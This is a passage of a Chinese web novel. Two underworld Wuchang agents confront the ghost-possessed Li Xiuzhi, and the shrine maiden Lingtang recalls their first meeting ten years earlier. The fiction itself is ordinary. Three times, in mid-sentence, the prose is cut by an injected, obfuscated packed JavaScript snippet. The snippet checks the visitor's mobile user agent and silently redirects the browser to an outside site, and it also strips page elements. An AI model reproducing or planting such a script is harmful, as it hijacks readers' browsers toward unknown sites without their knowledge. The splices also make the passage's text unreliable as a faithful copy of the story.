……虽然从他当初几乎转瞬之间杀死红衣厉鬼的事迹来看,他早该在半刻钟之前就解决这一战了。 21. 抽刀断水(三) 盛情难却拉起斗篷遮住腹部的伤口,缓步走了过去。 春生秋杀夺过刀后,就没有再按着李绣之了,而是半跪在旁边,只单手将刀悬在她脖子上。这个毫无威慑力的姿态看上去真是破绽百出,仿佛只要就地一滚便能脱逃;但原本暴戾的红衣女子在刀下很快安分下来,没有再要尝试挣扎的意思,似乎她已经与黑无常无言中达成了共识——看似随意架着的那把刀实际上是致命的威胁。 李绣之并未看两位无常,她收敛了那种几近疯狂的大笑,只是仿佛出神一般遥望着上方的天空。她系发的红绸早已失落,满头青丝散乱,柔软地衬在她脸颊两侧,这时候她又从恶鬼一般的疯女人变回了初见时沉静的模样,只是嘴角噙着一丝不知是不是嘲讽的笑。 春生秋杀仰起头看向盛情难却,“方才伤在哪里了?伤得严重么?” 盛情难却本来是不想回答的,但最终还是摇了摇头作为回复,随后垂下眼帘看着李绣之,“出现异状以来,你在城中可有杀过谁?” 她重新问了一遍这个问题,语气也是一样的冰冷,仿佛这番对话从来没有中断过。 “这个问题有这么重要么?”李绣之嗤了一声,也如出一辙地反问,“杀了如何?不杀如何?难道我没有杀人,你们就会放了我?” 春生秋杀提醒一般轻抖手腕,将刀口压深了几分。李绣之脖子上割断丝线时留下的伤口还在缓缓渗血,鲜血染红了一寸刀刃。 “如果你杀了人,我会杀了你。如果你没有杀人,我会把你身上的鬼祛除。”盛情难却逐字逐句道。 “……哈哈哈哈哈!”像是听到什么好笑的话,李绣之突然又笑得合不拢嘴,“真奇怪,你是第一个这么问我的无常,莫非你可以私自决定对我的处置,你们地府应该有固定的规矩吧?” “是我私自决定。”盛情难却淡淡地说。 “有意思。出现异状以来,在城中杀人……还真是严格的条件,其实你是想问我有没有杀‘某个人’吧?”李绣之眯起眼睛,“不过很遗憾,没有。” “传言说你是杀人鬼啊。”春生秋杀微笑道。 “是啊,不过我又不是真正盲目的鬼,又不以嗜杀为乐,只是偶尔杀几个不顺眼、妨碍我的人罢了。”李绣之满不在乎道,“自从城里变成这副样子,我想干什么都不会有人拦着我,我自然也不需要动手了。” “那你方才站在这里是在干什么?”春生秋杀好奇道。 “……欲问花枝与杯酒,故人何得不同来?”她忽然轻轻地吟了一句诗,然而这一丝柔情婉约转瞬即逝,她紧接着笑了起来,“这里风景很好,想来河边散散步而已。没想到在这里看到了这么有趣的场景——一具掉了头的僵尸和半具被僵尸吃掉的尸体,而且看衣服还像是师徒……呵呵呵……难道你们不会停下来想知道发生了何事么?” 虽然照常理说这应当是十分惊悚的场面,但盛情难却能看出李绣之并没有说谎。河边散步……跟那个上山采花的巫女还真是一类人。 “知道了。”白无常低声说,“那你是否了解江州城的异状?” “我只是‘杀人鬼’而已,既干不出这么惊天动地的事,也不知道有什么相干系的人。”李绣之眉毛一挑,“说来我倒是有个问题想问你们,我向来是避着无常走的,你们这回是怎么找到我的?” 盛情难却不答反问:“你是如何能避开无常的?” “鬼自然有鬼的办法,没必要告诉你们吧。”李绣之懒懒道。 “难怪我们这几天搜遍了整座城,都没有碰见你。”春生秋杀还是一副微笑的模样,“是一家寿衣铺的老板给了我们一串玛瑙手串,我们依此寻来。” 李绣之没有回应,一时间几乎让人错以为她根本没有听到对面在说话。过了几个缓慢的呼吸,她突然止不住地狂笑起来,笑得浑身发颤。春生秋杀不得不把刀往上抬了抬,免得刀口直接撞上她。天地寂静,杏花林中只回荡着女子嘶喊一般的笑声。 “……原来是这样。”最后她安静下来,喃喃地说。她的表情很古怪,像是忽闻故人名姓,又像是仇敌狭路相逢。 “你是江州人氏?”盛情难却对她一言难尽的情绪视而不见,又问道。 “非要说的话,十年前是。”李绣之冷淡道,“没有别的问题了吧?一直躺在地上可不舒服。” 盛情难却默了默,缓缓将引魂幡指向她头顶,预备驱散寄宿在红衣女子身上的恶鬼。白色的无字幡布垂落下去,李绣之好像是累了一般合上眼睛,一刹那她脸上浮现出一种朦胧的神情。 仿佛是……万事终于迎来解脱。 白幡忽然一斜,直直往她脸上刺去!然而木杆最后一歪,浅浅戳进了旁边的泥地里,柔软的幡布只是擦过李绣之的脸侧。 李绣之和春生秋杀都因为她这奇怪的举动吃了一惊,双双偏转目光看向盛情难却。 披白斗篷的少女拄着引魂幡,兜帽遮住了她半张脸。她用力抓着引魂幡,身体却渐渐滑落下去。 “盛情!”春生秋杀惊叫一声,下意识地想起身去扶住她。但就在他慌乱动摇的瞬间,李绣之猛然抬手抓住长刀!她完全不顾刀刃会割伤手指,死死攥住刀身,另一只手凶狠抓向春生秋杀的脸。事发突然,春生秋杀以不亚于她的狠戾挥手打开这一击,但在倏忽之间,李绣之已经从地上一跃而起! 春生秋杀几乎同时起身,他立即率先松手,不再跟她争抢那把长刀,而是倒退一步,毫不迟疑地挡在了盛情难却身前! 李绣之定定地凝视着他,没有再次发起攻击。她慢慢调转长刀,重新握住刀柄。 “原来你是……” 她没有吐露后半句话,就这样咯咯笑着如一阵风般离开了。 等李绣之完全不见了踪影,春生秋杀迅速转过身来。盛情难却已经脱力,扶着引魂幡一动不动跪坐在地。 “你……你方才伤在了哪里?”春生秋杀也半跪下来,再次慌张地询问。 “腹部。一刀贯穿。”盛情难却回答得很平静。 “……”身边的人没有说话,也不敢随便碰她,似乎陷入了手足无措中。 盛情难却任由这份压抑蔓延了片刻,才恢复了一点力气再度开口:“放心,这种伤对无常来说不致命。” 作为经常跟各种恶鬼厉鬼打交道的无常,受伤实在是和家常便饭一样寻常的事。无常受伤自然不需要寻医问药,花点时间就能自己痊愈。而若是遭到更严重的情况——例如整个头都被砍断,这种对于普通人来说无异于“死”的情况,也不过是形体会短暂消失一时半刻,随后便会“重生”在地府里,只是暂时会虚弱很多。这也就是无常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422618|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所谓的“不会死”。 而无论是受伤还是重归地府,当了多年无常的盛情难却都经历过,因此她清楚地知道,眼下自己的伤势只能算重伤,还不至于“死”,只要休息一两天便能恢复。 她想起春生秋杀刚才真真切切的、惊慌失色的神情,忽然无声地笑了。这不是平常她偶尔会流露的那种装模作样的假笑,而是发自真心的笑。连她自己也不清楚这个笑是为了什么,也许就像之前李绣之那个复杂的表情一样。 ……好似仇敌相见,好似故人重逢。 春生秋杀还在犹豫,盛情难却淡淡道:“真的。你觉得我是那种会为了安慰你说谎的人么?” 春生秋杀这才松懈下来,不由自主地叹了口气。他伸出手臂,很小心地把她横抱了起来。 然而尽管他做得十分小心翼翼,他的动作却有点生疏,似乎以前从来没有这样抱过人。盛情难却虽然没有被他碰痛伤口——无常的五识与常人没有区别,但痛觉要迟钝很多——不过被他这样抱着有些难受,不得不出声提醒:“右手,往上挪一点。” 春生秋杀不知在想什么,脸上没有任何表情。他经常是笑着的,无论什么样的笑都会令人心生亲近,但不笑的时候这种气质就会迅速褪去,显得有些冷冽,甚至让人觉得有些危险。听到盛情难却说话,他才微微一怔,露出一丝惭愧的笑来,连忙依她所言调整了姿势,“抱歉,让她逃走了。” 算了,李绣之现在逃走也不是什么要紧的事。盛情难却心里想,但她没有力气说多余的话,只是问道:“你带我去哪里?” “回客栈。总不能让你就躺在路边吧。” “无常受伤的时候,只要随便待在没人的角落休息一阵子就可以了。”盛情难却有些费力地说完了这一长句话。 “你之前的搭档不会就是这么干的吧。”春生秋杀有点无奈地吐槽,“吾辈可不会把你随便放在什么没人的角落——不过要是盛情你自己强烈要求,那也只能恭敬不如从命了。” “呵呵……”怀中的少女竟然轻轻地笑了。她睁着眼睛,古镜一样的眸子倒映着灿烂的天空和杏花,仿佛也没有那么空洞了,“那你来照顾我么?” “吾辈不是那种会照顾别人的人啊,要说被人照顾还更习惯一点。”春生秋杀笑了笑,“所以才把你送回客栈,让明瑟来照顾你。你不是觉得他很好、很相信他么?” “没有了?”过了一会,盛情难却道。 “什么没有了?”春生秋杀不解。 “你不应该说,如果我强烈要求的话,你也会来照顾我么?” 春生秋杀一愣,看向盛情难却的眼睛,随后哭笑不得道:“还有力气打趣吾辈,看来的确没有伤到要害。” 盛情难却的确还想要再说几句话,无关江州异状,无关无常和鬼怪,无关生死,只想像闲聊一样说几句无足轻重的话。她忽然觉得现在的时节和今天的天气都很好,春风拂面,温暖和煦。而灰发青年的怀中虽然并不温暖,可也算舒适,恰好他又是个适合聊天的对象,无论说些什么都不会冷场。地府的职责,杀人的凶手,一切在这个难得宁静的时刻好像都不重要了。 因为这样宁静的时刻,即将一去不回。 意识渐渐消失。她最终什么都没有说,脑袋靠在灰发青年的肩头,静静闭上了眼睛。 22. 两小有猜(一) 戴着古怪面具的巫女自得其乐地哼着小调,有些费事地穿过街道——她肩膀上扛着一个大袋子,右手拄着一根木棍,走起路来一瘸一拐,想要穿过有些拥挤的人群可不太轻松。 好不容易挤过了凝固的人流,寿衣铺近在眼前。然而店铺柜台后面却坐着一个人影,霸占了她这个老板的位置。 灵堂扛着袋子拄着拐,丁零当啷地走进店里,笑容满面地跟红衣女子打招呼:“哟,上午好啊。” 李绣之冷冷地看她,“你倒是一点都没变。” “你的长相看上去也没什么变化嘛。”灵堂随手把袋子往角落里一扔,发出咣一声闷响,“你让让,我想坐这把椅子。你如果也想坐的话,后院还有板凳,就是得劳驾你自己搬来了。” 李绣之一语不发地站了起来,灵堂立刻接管了椅子,坐在上面舒坦地长吁了一口气。 李绣之没有去后院,她转身直接跳到了柜台上坐着。幸亏灵堂昨天临行前担心她不在的时候风会把柜台上的纸扎吹走,便把那些纸人纸马全部收了起来,否则此刻这番动静下来,恐怕那些纸扎就要白白遭受摧残了。 “从十年前开始,我的容貌就不怎么变了。”李绣之悠悠地晃荡着双腿。按正常的年岁来算,她今年该是二十七岁了,然而她还是二十岁左右的相貌,仿佛这十年的时间在她身上流动得格外艰难。她那双闪着鬼气的眼睛嘲弄般盯着巫女,“但是别的地方还是变了很多吧?” “是啊,你现在的坐姿可不像大小姐了。”灵堂的坐姿比她更不像样,瘸的那条腿伸得笔直,另一条好腿则屈起来踩在椅子上。要不是李绣之现在坐在柜台上,说不定她会直接把腿跷上柜台。 李绣之看向角落里被扔下的袋子,半截榔头从布袋口露了出来,“你去干什么了?” “上山修了点东西。” “修了两天?” “本来打算昨天早上去的。不过早上睡过头了,耽误了点时间,干脆晚上在山上住了一晚。” “真是随心所欲啊。你的腿呢?” “不小心摔了一跤。还好山里草药多,过个两天就能全好啦。” 两人风平浪静地说着话,跟世间任何一对多年后再相逢的故交好友没有两样。 李绣之笑了笑,“原来巫女也会受伤么?” 灵堂挠了挠头发,“这话真是稀奇,我还需要吃饭睡觉呢。对了,你在这里等了我一天?” 李绣之抿起嘴角,笑容中流露出一丝阴森,“是啊。看见我很意外吧,没想到我还能来找你。” “你要来找我我倒是不奇怪。”灵堂有点无聊地敲着腿,“不过说来确实有点意外,难道两个无常都打不过你么?” “呵呵,我跑掉啦。其实我运气真的很好,每次遇到这种事都能逃掉。”李绣之从衣服上撕下一根布条,慢慢把散落的头发挽起来,“你希望我被抓住杀掉么?” “这时候如果说‘希望’就显得太绝情了吧。”灵堂说,“不过他们来请我帮忙,我可是个乐于助人的人。” “若我当真被他们杀了呢?”李绣之不依不饶地追问。 “如果你是问我的感想,那也没办法啊,这就是命运吧。”灵堂很自然地说。 “早该知道你会这么回答的。那你当初怎么没有帮我?”李绣之语气很淡漠,没有幽怨的意思,仿佛只是随口一问。 灵堂连忙摆手,“这可不能怨在我头上啊!我从没有听过你让我帮什么忙。” 过了一会儿,李绣之轻声说:“没想到那串玛瑙手串你还留着。我以为你这种人,早就把它不知丢到哪里去了。” 灵堂反而有些惊讶:“原来在你眼里我是那种人么?而且当初收下手串的时候我就说了吧,这是朋友赠给我的重要物件,我会好好收着的。” “……哈哈,哈哈哈哈!”李绣之忽然仰起头大笑,笑声里满是讥诮,“事到如今,你还觉得我们两个是朋友么?” 灵堂耸了耸肩,“我一直把你当朋友啊,只是你不觉得我是朋友罢了。” “这句话倒是说得没错。”李绣之又莫名其妙地笑了,“但是重要的物件,你不还是给别人了么?” “借,是借!”灵堂强调,“所以如果你想要要回手串的话,恐怕得过几天再来,因为那些人还没把手串还回来呢。” “那种破烂东西我不感兴趣。”李绣之方才分明有意提起,现在却仿佛忽然对那手串弃若敝屣了,皮笑肉不笑道:“你知道我为什么要来找你么?” “我也很想回答说是来叙旧什么的。”听语气灵堂应该是做出了某种表情,然而隔着面具看不到她的神情,“可惜……我觉得你是来杀我的。” “答对了。”李绣之缓缓梳理着自己的长发,“那你知道我为什么想杀你么?” “因为你恨我啊。”灵堂轻松地说,“这不是我猜的,是你当初自己说的,总不会你自己忘记了吧?哦……当时你说得没这么严重,只是说‘讨厌’我,不过其实就跟恨差不多吧。” “这么多年了……还是觉得唯独这份恨意消抹不去,才回到这里作个了结。所以你会乖乖被我杀掉么?”李绣之轻声说。见面以来,她几乎每一句话都是问句,现在她问出了最后一个问题。 红色的衣袖一拂,斜倚在柜台旁的青色长刃如电光横闪!一瞬间长刀刺进了某个柔软的物体里,李绣之几乎看见了鲜血四溅。然而下一瞬只见巫女好端端地坐在一尺开外,仍然是放纵不羁的坐姿。长刀的刀尖上只挑着一个稻草娃娃。 “唉,其实我只是一个生意人,真不想打架的。”灵堂说。她忽然深吸了一口气——但那是面具遮住了她的脸,其实她是忍不住打了个呵欠。这当然不是故意激怒李绣之,只是灵堂瘸着腿爬了半天山实在有点累,本来她是打算一回来就睡上一觉的。 一般这个古怪的巫女想要做什么的时候谁都拦不住,然而她自己却经常容易半途一转想法。方才她看见李绣之,就改变了睡觉的念头,决定还是陪这位老朋友聊聊——也许不只是单纯的“聊聊”。 “按你那套道理,我来杀你也是命运,何不接受这个命运?”李绣之仍然端着刀,刀身上青色火焰寂寂燃烧,烧尽了那个稻草娃娃。 灵堂摇了摇手指,“你来杀我是命运,但我不想现在就死,所以我会反抗也是命运。只不过无论我打不打得过你,我都会接受最后的结果。” “那就看看最后的结果是什么!”李绣之面露狞笑,再度举刀斩去。然而灵堂分明只是悠哉游哉地坐在椅子上不动,她的身影却好似飘忽不定,鬼气凌厉的长刀无论怎么挥砍都触碰不到半分。终于李绣之意识到并非巫女的影子在闪动,而是她自己头昏目眩,虽然她自以为在凶狠地挥刀,实际上在巫术的迷惑下可能就像小孩子挥舞树枝一样幼稚滑稽。 “看来神灵大人还不想让我死在你的刀下。”灵堂愉快地说。但如她所言,就算她真被一刀砍死,她也会照样愉快地瞑目。 李绣之喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434334|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咙里发出一阵奇怪的声音,似乎是细细的哭泣,细听才能听出是一阵凄厉的笑声。她收回刀,幽幽道:“我果然还是讨厌你。” 她冷眼看着那副黑底绘金的诡异面具,面具上的花纹像一个一成不变的笑容,外界的喜爱或者厌憎它永远都能欣然接受。 她憎恨的就是这一点。 灵堂似乎在思索怎么接话,而无论说什么都不太妥当,于是她话锋一转:“其实我以为你一回江州城就会来找我的,没想到现在才来啊。” “我知道你会这么以为,所以故意过了这么久才来。”红衣女子盈盈地笑了起来。 “这几年你过得如何?”换灵堂发问了。 ”很好。”李绣之扬起眉梢,仿若挑衅一般居高临下地盯着灵堂,“我过得很好,想去哪里就去哪里,遇到不顺心的人就随手杀掉。” “唔……这样啊。”灵堂若有所思地说,“你过得开心就行。” 她嘴里说的显然是客套话。而她说话时注视着李绣之,即使隔着面具,正是隔着面具,隐藏在其下的目光仿佛借依神意,无声地回荡在红衣女子体内,震得她这副血肉之躯隐隐疼痛,禁不住觳觫起来。 它事不关己、如雷贯耳地询问: ……你得到想要的“自由”了么? 李绣之感到胃里一阵翻江倒海,她捂住嘴冷笑:“跟你说话真是让我想吐。” “咦?为什么,我刚刚没有说错话吧。”灵堂有些茫然地一晃脑袋。 “呵呵,就算我客死他乡又怎样,你也只会觉得不过是命运吧?” “怎么能这么说呢。”灵堂纠正道,“从我个人的心愿上,我当然是希望朋友能过得好一点咯。” “你的朋友还真是泛滥。”李绣之讽刺道,“我这样的人你也当作朋友么?” “我们做生意的,总是讲究广交友嘛,希望友人生活如意,这样才能多多前来惠顾生意呀。”灵堂停顿了一下,“如果你不喜欢我把你当作朋友,这就算作我的解释了。” 李绣之默然了片刻,像是又变回了那个端静的李家大小姐。她轻声道:“我想要占一签。” “我刚刚那番话可不是在推销啊?”灵堂愣住了,旋即以一般瘸腿的人做不到的迅捷从旁边的柜子里拿下一个签筒,喜气洋洋道:“不过正好,这几天都没有生意,今天总算能开张一回啦。” “我没有钱。”李绣之坦言。 “这就麻烦了。”灵堂苦恼地抓抓头发,“看在我们的交情上……这几枚铜板我就借给你吧。” “恐怕我还不起。” “那就是命数啦。” 灵堂果真从身上摸出了一摞铜板交给李绣之。照理说她只要不收钱就可以了,不过她还是固执地执行了这个麻烦的步骤。而李绣之配合地收下铜板,再转手放在了柜台上。 灵堂把签筒举到她面前,“抽吧,心里想着要占的事就可以了。” 李绣之伸手,在签筒上方停了许久,然后拈出一支签,看也不看便把它拍在柜台上。 “不用给我解签了。”她微笑,笑颜像她的刀光一样凄寒,“因为我什么都没想。” 她提着刀跳下柜台,仿佛耍弄人成功一般笑得上气不接下气,转眼便不见了踪影。 而灵堂只是耸了耸肩,一枚枚收好柜台上的铜板,然后翻开了那支木签,扫了一眼上面的花纹。 “极凶,无计可解。”她嘟囔道,把签放回签筒,“大司命大人啊……” 23. 两小有猜(二) 灵堂第一次见到李绣之,还是十年前的时候。 江州城一年中风光冠绝是在春季,但要论最热闹的时节恐怕还是秋季。田稼瓜果丰收,满街都是进城吆喝的小贩,售卖的新鲜玩意也吸引了不少人上街闲逛。遥远的帝都也早早开始为年末准备,更行江上货船来往不息。 灵堂也喜欢秋季,不仅是因为她喜欢热闹,而且人来人往,连带着她的生意也比平常要好。南境一带并不避讳巫术,甚至有些人比起向术师求卦,更相信向巫祝占问吉凶。而灵堂又是江州城里名气最大的巫女,还把店堂而皇之地开到了大街边上,这些天来赚到的铜板银两简直要溢满钱箱。 难得这天的午后清闲了点,灵堂正趴在柜台上专心致志地刻着一块木头,忽然照来的阳光被挡住了半截。她敏锐地察觉到有客上门,立即停下手里的动作抬起头来。 一辆装饰华丽的马车缓缓在店门口停下。软帘掀开,一位小姐扶着侍女的手下车。她温和地挥手让侍女候在一边,独自走到了柜台前。 灵堂打量着这位贵客。那辆马车虽然华丽,但是许多大户人家里通用的式样,没什么特征;这位小姐也是见所未见的新客。从前也有身份尊贵的人家买她店里的东西,或者请她占卜,不过一般都是派人请她直接入府,鲜少有直接来店里的。 她咧嘴一笑,可惜隔着面具看不到她灿烂的笑容,“这位姑娘,您来是想买些什么?最近店里的东西都在减价酬宾!还是您有事想要向神灵大人询问?” “你是灵堂姑娘吧。我……想占算一下我的婚事。”那位小姐开口,声音也跟她的容貌一样柔和,仿若秋季的木芙蓉。 “没问题!”灵堂爽快地说,把手里的刻刀和木头撂到一边,伸手从旁边的柜子上拿下一个签筒,“那就抽签吧,二十文一次。” 小姐依言从钱囊里拿出铜钱放在柜台上。灵堂也把签筒放到她面前,“心里想着要占的事就可以了。” 不过真是奇怪,这种大户人家的婚事应当是请了专门的术师算过的。也就是说这位小姐是自己跑来又想再算一次? 小姐抽出一根签递给灵堂,灵堂看了一眼签上的花纹,很快解道:“平常,也可以说顺利,但最好从现在开始足不出户,否则也许会有祸患。” “……多谢。” 解出的结果还算可以,但那位小姐并无喜色,只是浅浅微笑一下,似乎就把这件事弃之度外了。她并没有离开,而是端详起这家寿衣铺和它的老板来。 “敢问灵堂姑娘,为何一直戴着这个面具?”李绣之毕竟也只是个年当十七的少女,对眼前的巫女不免好奇。 她听说过灵堂的名气,乍一见到灵堂古怪的打扮也吃了一惊。不过方才的交流下来,这位巫女似乎并没有她想象中那么装神弄鬼。 灵堂摸了摸面具,“这是代表大司命大人的面具,我戴着是因为尊奉神灵大人啦。当然,吃饭睡觉的时候我还是会摘下来的。” “我见你方才好像在雕什么东西。”李绣之指了指被灵堂搁在一边的木头,“这是木偶么?” “是啊,不过跟巫术没关系,就是前些天我看到街边在卖木偶,其中有一个木偶特别可爱,我就突然想自己雕一个。”灵堂顺手拿起那块木头。 “虽然还未完成,但可以看出灵堂姑娘手艺很好。”李绣之看着那块初具雏形的木头,想象它憨态可掬的模样,觉得很是有趣,不由会心一笑,随后微微一礼,“那就告辞了。” 灵堂没想到的是,没过几天,她竟然又见到了那位不知名的小姐。 李绣之也不知道自己为什么要出府,分明上回那个巫女告诫自己最好“足不出户”。江州民风开放,李家的家规也不严,只是父亲格外注重她作为李家大小姐的言行举止。平常她要求出府,爹娘通常也是应允的,只是必须有侍女侍卫随行,一方面保护她,一方面以免她做出什么有失得体的举动来。 认识她的人都称赞她娴雅温柔,有长女的风范。但李绣之的本性其实并不是那种安静的女孩子。然而大小姐在府中的消遣只不过能坐着绣花读书弹琴,因此李绣之一旦得空就喜欢出府。尤其是自一个月前她订下婚约开始。 李绣之刚满十七,父亲已经为她找好了夫婿——她的年纪对于订婚而言已经不算小了。一般她这样年纪的小姐大多期待着嫁人,憧憬着十里红妆;但当父母告诉她这个消息时,李绣之默默笑着,心中却泛起一阵怅然。 她自己也不清楚为何并不高兴,只是越发觉得待在府里闷了。今天她终于忍不住又出了府,却不知该去哪里,下意识令车夫驶去了巫女的店前。 一下车她就看见灵堂正扛着一根竹竿穿过帘子,从后院走进店里。两人见到对方都愣了一下。 灵堂麻利地把竹竿放到一边,语气还是十分热情:“小姐今日也是想来占卜?” “我……只是路过看看。”李绣之含糊道,忽然想起了一个东西,“上次你刻的那个木偶做完了么?” “您是好奇那个啊。”灵堂拍了拍脑袋,“不过真不好意思,那个木偶没做完。” “是因为很难做么?”李绣之心想以后自己也可以在府中雕个木偶玩玩,但她很快又想到爹娘是不会允许自己做木工这种粗活的。 “不是,只是做着做着不想做了,所以暂且就搁置了。”灵堂笑嘻嘻道。 “原来是这样。”李绣之呆了一下,她接受的教导里没有半途而废这种结果。她只好接着道:“灵堂姑娘方才拿着竹竿,是准备做什么?” “我正准备出门呢。我在山上种了一棵板栗树,最近是板栗成熟的时候了,我打算去打板栗。” 李绣之不知该说什么,她并不知道什么是打板栗。 巫女忽然压低了声音:“您也想一起去么?” 自己的想法有这么明显么?李绣之沉默片刻,复而轻轻一笑:“家中的规矩恐怕不允许我这么做。” “我们可以从后门走,绕去组马车的地方,不会有人认出你的。不过如果你不愿意就算了。”巫女耸了耸肩,又乐乐呵呵地去拿竹竿。 李绣之急忙道:“请等一下!……我去跟侍女说几句话。” 她回身来到马车旁,依然是大小姐温婉而无可挑剔的笑容,朝侍女道:“我这些日子有些头痛,这里的巫女大人会给我医治,只是恐怕要费些时辰,你们且先在这里候着。” 交代完毕,她重新回到店里,跟着灵堂消失在布帘后。 租来的马车摇摇晃晃,李绣之不由有些头晕,新奇之余开始紧张起来。她这才察觉到自己做了多么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445957|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荒唐的事——瞒着家里跟一个陌生人跑了,何况那人还是个巫女。她压下不安问道:“我们要去山上么?” “其实就在山脚啦。要是真种在深山里,我每次想去浇水的时候多麻烦啊。”灵堂说,然后又喃喃自语起来:“这样说来当初我直接种在后院不就好了……不过可能当时我就想在山上种树吧。” 一棵树长成应该要很久吧。李绣之这样想着,忽然发现这个巫女的年龄是个谜团。灵堂的声音听上去清脆如少女,但她一定不止这个岁数。李绣之谨慎地问道:“不知灵堂姑娘芳龄?” “这个嘛,肯定比你要年长……”灵堂正说着,马车已经停了下来。她灵活地跳下马车,又扶了一把下车的李绣之,然后扛着竹竿兴致勃勃地朝不远处的山坡走去。 “你看你看,就是这棵。”灵堂自豪地指认自己的树,“不愧是我亲手浇出来的树,长得很好吧?” 李绣之也忍不住笑了,最后那点忐忑也打消了。她仰头朝树梢看去,“上面好像结着很多……板栗。” “现在我要把它们打下来,你往旁边站站,当心砸到身上。”灵堂举起竹竿,用力在树梢间左右打了一通,绿色带刺的果实就劈里啪啦被打落地上。灵堂又把竹竿塞给李绣之,欢快道:“你也试试?” 李绣之学着她的样子努力打下了几颗板栗,而灵堂蹲在旁边捡起一块石头,把其中一个绿色的刺壳砸开,露出了里面褐色的板栗。 李绣之走到她身边,提着裙角蹲下,“原来板栗在这个里面。” “没错,而且你平时吃的是烤熟的板栗吧,其实生板栗也很好吃!”灵堂又用石头一砸,三两下剥开裂开的板栗壳,将板栗肉大方地递给李绣之。 李绣之犹豫地咬了一口白色的生板栗,跟以前吃过的板栗截然不同,竟然是脆嫩的口感,带着一丝清甜的味道。 “好吃么?”灵堂摇头晃脑。 “好吃。”李绣之静静咀嚼着,“我也想种一棵板栗树。” “你家的院子应该比我店里的后院大多了吧,别说种一棵,种十棵也种得下才是。”灵堂说。 “阿爹阿娘可不会让我拿着铁铲种树。”李绣之笑了笑,站起身来,小心没让衣裳沾上泥土,“灵堂姑娘,你为何会带我来呢?” 今天她难得离开家中的监督,跑到这么远的地方,可是起初的兴奋过后,那种莫名的怅然又开始盘旋在她心头。 灵堂不知从哪里摸出一个大布袋,正在往袋子里装板栗,“也没什么特别的理由吧,就是想让人看看我种的板栗树。而且看你好像也想来……我应该不算强人所难吧?” 她那种欣快的语气显得一切都理所当然,仿佛这根本不是什么出格的事——或者她也知道这是出格的事,只是根本不在乎。 原来只是这么简单的理由。原来只是因为想做就做了。李绣之咽下嚼成泥的板栗,感受着齿间的清甜慢慢消失,只余一丝生涩。 原来我是在羡慕她。十七岁的少女心想。 “对了,还没有介绍过我自己,真是失礼。”她柔和地微笑起来,“小女子名为绣之,家父李思危。” “哦哦,我知道,城南的那个大富商嘛。”灵堂说,“原来是李小姐,幸会幸会。” “嗯,幸会。” 24. 两小有猜(三) 一眨眼,秋去冬来。 李绣之来到店里的时候难得没有看见灵堂坐在柜台后。冬日的街道比往常寂寥了不少,因而在安静的空隙中能隐隐听到布帘后传来的一缕歌声。 李绣之很自然地打了帘进去,一眼看见后院中立着一个男人,不禁一惊;再一看才发现原来是一个栩栩如生的木人,装扮成男子的模样,脸上戴着一个和灵堂一模一样的面具。 绛色长发的巫女唱着宛转的巫歌,围着木人徐徐起舞。她平时穿的那件五彩缤纷的衣服也换了,换成了与木人身上衣服相配的庄重的祭服。 在虔诚的巫歌中,李绣之看着几近陌生的巫女,心头忽然涌上一阵奇怪的感觉。这种感觉曾经也有过一次,那是她问灵堂平常餐食吃些什么的时候,灵堂回答说巫女的饮食很特别,跟常人是不一样的。 不会是要吃人来保持青春不老吧?李绣之开玩笑。 怎么可能,只不过巫祝的食物经过特殊的做法,旁人吃了就会进入神灵大人的世界了。灵堂也像是开玩笑一般说。 如同那时一样,李绣之忽然分明地意识到,她跟她是两个世界的人。 巫女的歌舞似乎已经近了尾声,她又跳了两圈舞,最后深深折腰,做了个类似行礼的动作,便停了下来。结束祭祀的仪式,灵堂这才转向旁边静静站着的李绣之,“李小姐,你怎么又来了?” 李绣之柔声道:“怎么,不欢迎我?” “当然不是,不过我记得当初神灵大人提醒过你,最好要足不出户避免祸事。可是这几个月你隔三岔五就来我这儿,出门未免太频繁了。”灵堂似乎有些困惑于她的逆行倒施。 李绣之摇摇头,“在府中总是坐不住,还是出来走走好。而且……以后也未必有这么多能出门的机会了。阿娘近来还告诫我,马上要出嫁的女孩子,最好不要总是出门闲逛了。” “人各有命,这就是大小姐的生活啊。”灵堂直接在院子边上一把躺椅上躺了下来,顺手给她指了指,“喏,这里还有一把椅子,请坐。” 李绣之在另一把椅子上很是端正地坐下——就算这也是一把躺椅,她此时也不会躺下去,因为会弄乱她的发髻。“刚刚你是在祭神么?我还是第一次见。” “是啊,其实一套祭祀下来很累的,所以我决定除非有客上门,否则一个下午就躺在这里。”灵堂理直气壮道。 “就这样躺着?” “午后的太阳这么好,正适合躺着晒太阳。”听声音灵堂打了个哈欠。 “天气这么好,说不定待会就会有客人来了。” 以柔和的口吻说出这句话的时候,李绣之竟然产生了些微的快意——快意于灵堂随心所欲的想法可能会受到阻碍。 